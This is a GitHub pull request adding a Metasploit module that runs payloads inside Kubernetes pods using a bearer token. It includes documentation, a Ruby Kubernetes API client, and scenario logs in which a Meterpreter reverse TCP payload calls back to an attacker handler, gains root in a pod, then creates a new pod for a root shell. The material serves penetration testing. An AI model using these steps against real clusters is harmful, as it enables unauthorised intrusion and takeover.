Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Module For Kubernetes Pod Authenticated Code Execution #15733

Merged
merged 22 commits into from
Oct 21, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
7e8afcd
Add a WebSocket implementation for Rex
zeroSteiner Jul 31, 2020
c0635a0
Add a wsloop that handles frags, pings and closes
zeroSteiner Sep 23, 2021
d230090
Add a WebSocket channel
zeroSteiner Sep 24, 2021
ac319e7
Document the new WebSocket functionality
zeroSteiner Sep 24, 2021
2db5764
Add WebSocket frame and opcode specs, fix bugs
zeroSteiner Sep 24, 2021
1aa4bc4
Raise exceptions WebSocket connection failure
zeroSteiner Sep 27, 2021
55edd86
Synchronize access when reading WebSocket frames
zeroSteiner Sep 29, 2021
556703b
Pass opts forward through the ws functions
zeroSteiner Sep 30, 2021
099b47b
Synchronize the WebSocket interface
zeroSteiner Sep 30, 2021
7536db1
Add an initial kubernetes exec module
zeroSteiner Sep 22, 2021
eb15076
Add support for direct websocket sessions
zeroSteiner Sep 24, 2021
ea6761a
Module cleanup and error handling
zeroSteiner Sep 27, 2021
f212160
Allow RHOSTS and SESSION to be optional
zeroSteiner Sep 27, 2021
e048826
Support an explicit HTTP comm
zeroSteiner Sep 27, 2021
7e62ab9
Allow configuration via an established session
zeroSteiner Sep 27, 2021
250e407
Add the ability to create a new pod
zeroSteiner Sep 29, 2021
d135e76
Fix a couple of bugs in the k8s/exec module
zeroSteiner Sep 29, 2021
3254024
Move the Kubernetes client into a library file
zeroSteiner Oct 1, 2021
8d82beb
Add the kubernetes/exec module docs
zeroSteiner Oct 1, 2021
d8f2b18
Implement review feedback
zeroSteiner Oct 1, 2021
1e1b198
Improve image selection when creating a pod
zeroSteiner Oct 20, 2021
a74730d
Fix image name enumeration
zeroSteiner Oct 20, 2021
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
122 changes: 122 additions & 0 deletions documentation/modules/exploit/multi/kubernetes/exec.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
## Vulnerable Application

### Description

Execute a payload within a Kubernetes pod.

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/kubernetes/exec`
3. Set the required options
4. Do: `run`
5. You should get a shell.

## Options

### SESSION
An optional session to use for configuration. When specified, the values of `NAMESPACE`, `TOKEN`, `RHOSTS` and `RPORT`
will be gathered from the session host. This requires that the session be on an existing Kubernetes pod. The necessary
values may not always be present.

Setting this option will also automatically route connections through the specified session.

### TOKEN
The JWT token. The token with the necessary privileges to access the exec endpoint within a running pod and optionally
create a new pod.

### POD
The pod name to execute in. When not specified, a new pod will be created with an entrypoint that allows it to run
forever. After creation, the pod will be used to execute the payload. **The created pod is not automatically cleaned
up.** A note containing the created pod's information will be added to the database when it is connected.

### NAMESPACE
The Kubernetes namespace that the `TOKEN` has permissions for and that `POD` either exists in or should be created in.

### SHELL
The shell to use for execution. `bash` is likely preferred from a usability perspective, but is not present as often as
`sh` is.

### PodName
*This is an advanced option.*

The image from which to create the pod. When a new pod is created (`POD` is blank), this option can be used to specify
the image that is used. If this option is blank, each image will be tried from the list of running pods until one
successfully starts.

### TARGET
#### Interactive WebSocket
Communicate directly with the pod using the Kubernetes WebSocket API. This is the most similar option to the `kubectl
exec --stdin --tty` command. No Metasploit payload is transferred to the target.

### Unix Command
Run the specified command payload and read the output. Custom commands can be run with the `cmd/unix/generic` payload.

### Linux Dropper
Use a command stager to transfer a Metasploit payload to the target and execute it. This will result in the payload
being written to disk and will require potentially non-standard binaries to be present on the remote system, depending
on the selected `CMDSTAGER::FLAVOR` option.

### Python
Run a Python payload on the remote host. This technique will automatically find and use either a `python`, `python3`, or
`python2` binary on the remote system to use for execution.

## Scenarios

### Kubernetes v1.22.1
In this scenario, Metasploit has direct access to the Kubernetes API. A known token is used to execute a Python payload
within the `thinkphp-67f7c88cc9-tgpfh` pod.

```
msf6 > use exploit/multi/kubernetes/exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (39736 bytes) to 192.168.159.31
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : thinkphp-67f7c88cc9-tgpfh
OS : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
Architecture : x64
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/kubernetes/exec) >
```

Next, the compromised session is used to access the internal Kubernetes endpoint, create a new pod and open a shell
directly via a WebSocket.

```
msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1

[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
[*] Using image: busybox
[+] Pod created: burhgvzc
[*] Waiting for the pod to be ready...
[+] Successfully established the WebSocket
[*] Found shell.
[*] Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400

id
uid=0(root) gid=0(root) groups=10(wheel)
pwd
/
```
23 changes: 1 addition & 22 deletions lib/msf/base/sessions/ssh_command_shell_bind.rb
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ module ChannelFailureReason
# channel object.
#
class TcpClientChannel
include Rex::IO::StreamAbstraction
include Rex::Post::Channel::StreamAbstraction

#
# This is a common interface that socket paris are extended with to be
Expand Down Expand Up @@ -116,27 +116,6 @@ def close_write
@ssh_channel.eof!
end

#
# Read *length* bytes from the channel. If the operation times out, the data
# that was read will be returned or nil if no data was read.
#
def read(length = nil)
if closed?
raise IOError, 'Channel has been closed.', caller
end

buf = ''
length = 65536 if length.nil?

begin
buf << lsock.recv(length - buf.length) while buf.length < length
rescue StandardError
buf = nil if buf.empty?
end

buf
end

#
# Write *buf* to the channel, optionally truncating it to *length* bytes.
#
Expand Down
225 changes: 225 additions & 0 deletions lib/msf/core/exploit/remote/http/kubernetes/client.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,225 @@
# -*- coding: binary -*-

require 'rex/proto/http/web_socket'
require 'uri'

module Msf
class Exploit
class Remote
module HTTP
module Kubernetes
class Client
USER_AGENT = 'kubectl/v1.22.2 (linux/amd64) kubernetes/8b5a191'.freeze

class ExecChannel < Rex::Proto::Http::WebSocket::Interface::Channel
attr_reader :error

def initialize(websocket)
@error = {}

super(websocket, write_type: :text)
end

def on_data_read(data, _data_type)
return data if data.blank?

exec_channel = data[0].ord
data = data[1..-1]
case exec_channel
when EXEC_CHANNEL_STDOUT
return data
when EXEC_CHANNEL_STDERR
return data
when EXEC_CHANNEL_ERROR
@error = JSON(data)
end

nil
end

def on_data_write(data)
EXEC_CHANNEL_STDIN.chr + data
end
end

def initialize(config)
@http_client = config.fetch(:http_client)
@token = config[:token]
end

# rubocop:disable Style/DoubleNegation
def exec_pod(name, namespace, command, options = {})
options = {
'stdin' => false,
'stdout' => false,
'stderr' => false,
'tty' => false
}.merge(options)

# while kubectl uses SPDY/3.1, the Python client uses WebSockets over HTTP/1.1
# see: https://github.com/kubernetes/kubernetes/issues/7452
websocket = http_client.connect_ws(
request_options(
{
'method' => 'GET',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}/exec"),
'query' => URI.encode_www_form({
'command' => command,
'stdin' => !!options.delete('stdin'),
'stdout' => !!options.delete('stdout'),
'stderr' => !!options.delete('stderr'),
'tty' => !!options.delete('tty')
}),
'headers' => {
'Sec-Websocket-Protocol' => 'v4.channel.k8s.io'
}
},
options
)
)

websocket
end
# rubocop:enable Style/DoubleNegation

def exec_pod_capture(name, namespace, command, options = {}, &block)
websocket = exec_pod(name, namespace, command, options)
return nil if websocket.nil?

result = { error: {}, stdout: '', stderr: '' }
websocket.wsloop do |channel_data, _data_type|
next if channel_data.blank?

channel = channel_data[0].ord
channel_data = channel_data[1..-1]
case channel
when EXEC_CHANNEL_STDOUT
result[:stdout] << channel_data
block.call(channel_data, nil) if block_given?
when EXEC_CHANNEL_STDERR
result[:stderr] << channel_data
block.call(nil, channel_data) if block_given?
when EXEC_CHANNEL_ERROR
result[:error] = JSON(channel_data)
end
end

result
end

def get_pod(pod, namespace, options = {})
_res, json = call_api(
{
'method' => 'GET',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{pod}")
},
options
)

json
end

def list_namespace(options = {})
_res, json = call_api(
{
'method' => 'GET',
'uri' => http_client.normalize_uri('/api/v1/namespaces')
},
options
)

json
end

def list_pods(namespace, options = {})
_res, json = call_api(
{
'method' => 'GET',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods")
},
options
)

json
end

def create_pod(data, namespace, options = {})
res, json = call_api(
{
'method' => 'POST',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods"),
'data' => JSON.pretty_generate(data)
},
options
)

if res.code != 201
raise Kubernetes::Error::UnexpectedStatusCode, res.code
end

json
end

def delete_pod(name, namespace, options = {})
_res, json = call_api(
{
'method' => 'DELETE',
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}"),
'headers' => {}
},
options
)

json
end

private

EXEC_CHANNEL_STDIN = 0
EXEC_CHANNEL_STDOUT = 1
EXEC_CHANNEL_STDERR = 2
EXEC_CHANNEL_ERROR = 3
EXEC_CHANNEL_RESIZE = 4

attr_reader :http_client

# TODO: Support receiving data directly as a table?
# Accept: application/json;as=Table;g=meta.k8s.io;v=v1beta1
# https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables
def call_api(request, options = {})
res = http_client.send_request_raw(request_options(request, options))

if res.nil? || res.body.empty?
raise Kubernetes::Error::ApiError
elsif res.code == 401
raise Kubernetes::Error::AuthenticationError
end

json = res.get_json_document
if json.nil?
raise Kubernetes::Error::ApiError
end

[res, json.deep_symbolize_keys]
end

def request_options(request, options = {})
token = options.fetch(:token, @token)

request.merge(
{
'agent' => USER_AGENT,
'headers' => request.fetch('headers', {}).merge(
{
'Authorization' => "Bearer #{token}"
}
)
}
)
end
end
end
end
end
end
end
Loading